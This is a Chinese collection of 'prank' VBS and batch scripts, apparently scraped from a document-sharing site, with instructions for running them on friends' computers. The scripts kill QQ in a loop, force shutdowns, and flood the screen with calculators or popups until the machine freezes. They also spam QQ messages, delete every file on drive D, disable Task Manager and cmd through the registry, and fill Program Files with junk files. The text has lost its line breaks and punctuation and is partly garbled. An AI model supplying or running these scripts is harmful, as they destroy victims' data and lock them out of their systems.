vbs整人代码集合.docx

vbs整人代码集合.docx

《vbs整人代码集合.docx》由会员分享，可在线阅读，更多相关《vbs整人代码集合.docx（15页珍藏版）》请在冰豆网上搜索。

vbs整人代码集合echooffif%1=hgotobeginmshtavbscript:

createobject（wscript.shell）.run（%nx0h,0）（window.close）&exit:

begintasklist|find/iQQ.exeif%errorlevel%=0（gotokillit）else（gotonext）:

killittaskkill/f/imQQ.exe:

nextping-n3127.tnul2nulgotobegin分割线把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行嘿嘿，那你的qq就不能运行了哟color4fechooffecho删除计算机的C盘的所有文件.ping127.0.0.1/n2nulecho已删除完毕echo.echo删除计算机的D盘的所有文件.ping127.0.0.1/n2nulecho已删除完毕echo.echo删除计算机的E盘的所有文件.ping127.0.0.1/n2nulecho已删除完毕colorecho.echo.=echo.啊哈哈，都删关，都杀关，哈哈echo.=echo.系统将马上崩溃.echo.这是一个木马程序.您的所有资料已经传到XXXXshutdown/r/t30/c电脑在30s内即将崩溃,哈哈，你活该！

ntsd-cq-pnexplorer.exeping127.0.0.1/n20nulstartexplorer.exeshutdown-a_分割线_将分割线以上部分保存到txt格式，然后把后缀改成bat就可以运行了运行后你的磁盘会被格式化当然那是假的。

用来吓人的。

希望你玩的愉快。

setWSHshellA=wscript.createobject（wscript.shell）WSHshellA.runcmd.exe/cshutdown-r-t180-c说我是猪，不说我是猪就一分钟关机，不信，试下,0,truedimadowhile（a我是猪）a=inputbox（说我是猪,就不关机，快撒，说我是猪,说不说,8000,7000）msgboxchr（13）+chr（13）+chr（13）+a,0,MsgBoxloopmsgboxchr（13）+chr（13）+chr（13）+早说就行了嘛dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）WSHshell.runcmd.exe/cshutdown-a,0,truemsgboxchr（13）+chr（13）+chr（13）+哈哈哈哈，好乖-新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了让对方说我是猪setwsh=createobject（wscript.shell）dowsh.runcalcloop新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了打开无数个计算器，直到死机、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数（代码里的数字10改一下即可）.xx.vbs=-OnErrorResumeNextDimwsh,yesetwsh=createobject（wscript.shell）fori=1to10wscript.sleep700wsh.AppActivate（与xx聊天中）wsh.sendKeysvwsh.sendKeysiwsh.sendKeys%snextwscript.quit-QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈-domsgboxYouarefoolish!

loop-三、打开无数个计算器，直到死机-setwsh=createobject（wscript.shell）dowsh.runcalcloop-四、直接关机-dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）WSHshell.runshutdown-f-s-t00,0,true-五、删除D:

所有文件-dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）WSHshell.runcmd/cdeld:

*.*/f/q/s,0,true-六、不断弹出窗口-while

（1）msgbox哈哈你被耍了！

loop-七、不断按下alt+f4（开什么都关闭）-dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）while

（1）WSHshell.SendKeys%F4loop-八、按500次回车（以上代码在运行者的电脑上显示500个对话框。

其中dountils=500，500可以随意更改）-dimsdountils=500s=s+1msgbox哥们，给我按500次回车吧,64loop-九、关不掉的窗口-WScript.Echo（嘿，谢谢你打开我哦，我等你很久拉！

&TSName）WScript.Echo（你是可爱的小朋吗?

）WScript.Echo（哈,我想你拉，这你都不知道吗？

）WScript.Echo（怎么才来，说是不是不关心我）WScript.Echo（哼,我生气拉，等你这么久，心都凉啦。

）WScript.Echo（小强很生气，后果很严重哦。

）WScript.Echo（嘿嘿！

你也会很惨滴哦）WScript.Echo（是不是想清除我？

）WScript.Echo（那你要点上50下哦，不过会给你惊喜滴）WScript.Echo（还剩49下，快点点哦）WScript.Echo（还剩48下，快点，小笨蛋！

）WScript.Echo（还剩47下对，就这样快点点！

）WScript.Echo（还剩46下。

你啊就是笨，要快哦，我先不打扰你工作。

）WScript.Echo（还剩45下，记得要快哦！

）WScript.Echo（还剩43下）WScript.Echo（还剩42下）WScript.Echo（还剩41下）WScript.Echo（还剩40下）WScript.Echo（还剩39下）WScript.Echo（还剩38下）WScript.Echo（还剩37下）WScript.Echo（还剩36下）WScript.Echo（还剩35下）WScript.Echo（还剩34下）WScript.Echo（还剩33下）WScript.Echo（还剩32下）WScript.Echo（还剩30下）WScript.Echo（还剩29下）WScript.Echo（还剩28下）WScript.Echo（还剩27下）WScript.Echo（还剩26下）WScript.Echo（还剩25下）WScript.Echo（还剩24下）WScript.Echo（还剩23下）WScript.Echo（还剩22下）WScript.Echo（还剩21下）WScript.Echo（还剩20下）WScript.Echo（还剩19下）WScript.Echo（还剩18下）WScript.Echo（还剩17下）WScript.Echo（还剩16下）WScript.Echo（还剩15下）WScript.Echo（还剩14下）WScript.Echo（还剩13下停停！

慢点，我有话要说）WScript.Echo（还剩12下，你继续点我就会消失滴）WScript.Echo（还剩11下，以后就看不到我拉。

555555）WScript.Echo（还剩10下，你现在可以选择停止！

）WScript.Echo（还剩9下。

你还点啊，不要我拉？

）WScript.Echo（还剩8下，有点伤心拉，干嘛丢弃人家）WScript.Echo（还剩7下。

疯了，你有点负意！

）WScript.Echo（还剩6下。

对。

你就点吧，我恨你！

）WScript.Echo（还剩5下，不明白，删除我你就好吗？

）WScript.Echo（还剩4下！

真要删除我？

）WScript.Echo（还剩3下。

可是我真的很眷恋你。

）WScript.Echo（还剩2下。

不要这么绝情嘛，人家是爱你的！

）WScript.Echo（还剩1下。

哼，既然你这么绝情。

也别怪我无义！

）WScript.Echo（我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。

）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）WScript.Echo（想结素我么?

那你就再多点一次）-两个整人的VBS脚本2009-07-1618:

16文章录入：

7747.Net责任编辑：

7747.Net564【字体：

小大】测试环境：

Windows2003系统大家好我是VanlisaQQ137841986今天给大家带来两个整人的VBS脚本希望大家喜欢VBS脚本大家都知道吧第一个是定时关机的如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法我们来看下这个脚本-onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject（wscript.shell）WSHshellA.runcmd.exe/cshutdown-r-t180-c说我是猪，不说我是猪就一分钟关机，不信，试下,0,truedimadowhile（a我是猪）a=inputbox（说我是猪,就不关机，快撒，说我是猪,说不说,8000,7000）msgboxchr（13）+chr（13）+chr（13）+a,0,MsgBoxloopmsgboxchr（13）+chr（13）+chr（13）+早说就行了嘛dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）WSHshell.runcmd.exe/cshutdown-a,0,truemsgboxchr（13）+chr（13）+chr（13）+哈哈哈哈，好乖-新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了cmd.exe/cshutdown-r-t180-c这里的数字可以修改关机时间180秒这些文字也可以自设这个脚本启用cmd里的关机程序如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就OK了这时就完全解除这个脚本了Wscript时Windows脚本宿主-下面看第二个整人的脚本-setws=createobject（wscript.shell）callshutdown

（1）dowhilea我是猪a=inputbox（快在下面的框框里输入我是猪,否则后果自负，快输我是猪,输不输,）loopcallshutdown

（2）msgbox早说就行了嘛,4096+64msgbox再输一遍我是猪!

4096+64msgbox我是猪!

4096+64MsgBox最后一次!

4096+64MsgBox如果你很快的点过去,不看的话,4096+64MsgBox我就要你踩我空间的!

哼!

4096+64MsgBox从前有座山!

4096+64MsgBox山里有个庙.,4096+64MsgBox庙里有个老和尚在讲故事.,4096+64ws.runiexplore.exehttp:

/i=1to100MsgBoxi&只绵羊,4096+64nextmsgbox哎呀我困了，这次就饶过你吧，下次注意哦!

4096+64msgbox最后问个问题，我是不是大好人！

4096+64ifinputbox（是不是,请选择,是）是thencallshutdown

（1）endifsubshutdown（s）selectcasescase1ws.runcmd.exe/cshutdown-r-t60-c,0case2ws.runcmd.exe/cshutdown-a,0endselectendsub-ws.runiexplore.exehttp:

/点到你设定的数字fori=1to100从1到100可以改成20其他的数字解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe这个进程就好了BY：

2009QQ整人代码2010-01-2821:

18sets=createobject（wscript.shell）setbag=getobject（winmgmts:

.rootcimv2）setpipe=bag.execquery（select*fromwin32_processwherename=wscript.exe）ForEachidinpipeifinstr（1,mandLine,wscript.scriptfullname）0andpipe.count=2thens.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,0,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,0,REG_DWORDid.terminate（）elses.regwriteHKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr,1,REG_DWORDs.regwriteHKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD,1,REG_DWORDfori=1to60s.popup系统将在&60-i&秒后关机.,1,系统提示,4096+48nextSetcolOS=GetObject（winmgmts:

（Shutdown）.ExecQuery（Select*FROMWin32_OperatingSystem）ForEacheOsIncolOSeOs.Win32Shutdown

（2）NextendifNextcolor=#FF0000复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，此代码的威力：

1：

开机就强制自动关机2：

cmd命令打不开3：

结束任务不管用4：

F8安全模式也不管用呵呵！

听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、代码破解方法：

就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，PS：

不要乱拿软件去整人，发生什么事可不要怪我啊。

拍拍手顶起吧!

2：

onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject（wscript.shell）WSHshellA.runcmd.exe/cshutdown-r-t60-c说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试,0,truedimadowhile（a宝宝，我是天下第一大傻B）a=inputbox（宝宝，我是天下第一大傻B,就不关机，快撒，说宝宝，我是天下第一大傻B,说不说,不说,8000,7000）msgboxchr（13）+chr（13）+chr（13）+a,0,MsgBoxloopmsgboxchr（13）+chr（13）+chr（13）+早说就行了嘛，乖乖dimWSHshellsetWSHshell=wscript.createobject（wscript.shell）WSHshell.runcmd.exe/cshutdown-a,0,truemsgboxchr（13）+chr（13）+chr（13）+宝宝是不是又帅啦？

这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、网页整人效果代码2009-05-0911:

57想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。

网页特效|Lhref=onMouseover=alert（为什么把鼠标放到这里?

）;alert（我不是说过不可以这样吗？

）;alert（你把我的话当什么了？

）;alert（你知道错了吗？

）;alert（什么？

你居然.）;alert（居然还没意识到自己做错了？

）;alert（那好，你要为此付出代价!

）;alert（我要你在这里点足一千下.）;alert（什么？

你开始有点后悔了？

）;alert（何必呢？

）;alert（你当初干什么去了？

）;alert（不原谅你！

）;alert（好从现在开始再点995下.）;alert（你的手开始累了吗?

）;alert（什么？

你已经没力气了？

）;alert（你一直在求我原谅你啊！

）;alert（看来你是真的知道错了!

）;alert（下次你还会这么做吗？

）;alert（真的不会了？

）;alert（那好，今天就放你一马！

）;alert（写封信给我说声对不起!

）;alert（你能这么做我很高兴!

）;document.bgColor=black;document.fgColor=White;window.location.href=mailto:

mygodgod?

subject=对不起,下次不敢了!

;不许把鼠标移到这里嘻试吧爽噢。

vbs整人代码2010-02-0722:

04代码如下：

PrivateSubForm_Load（）Me.HideEndSubPrivateSubTimer1_Timer（）声明变量，其中“count”为静态变量，以便生成不同的文件DimfilesAsStringDimnrAsStringDimcAsStringStaticcountAsLong定义要把生成的文件存放在那个目录文件下c=C:

ProgramFiles生成文件的内容nr=哈哈，被黑的感觉的不错吧files=FreeFile如果a等于a那么就执行Ifa=aThencount不断的加1，以便产生不同的文件名count=count+1产生文件名及文件句柄，并用count作为产生不同的文件名。

Openc&system&count&.dllForAppendAs#files向文件写内容Write#files,nr清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示Close#filesEndIfEndSub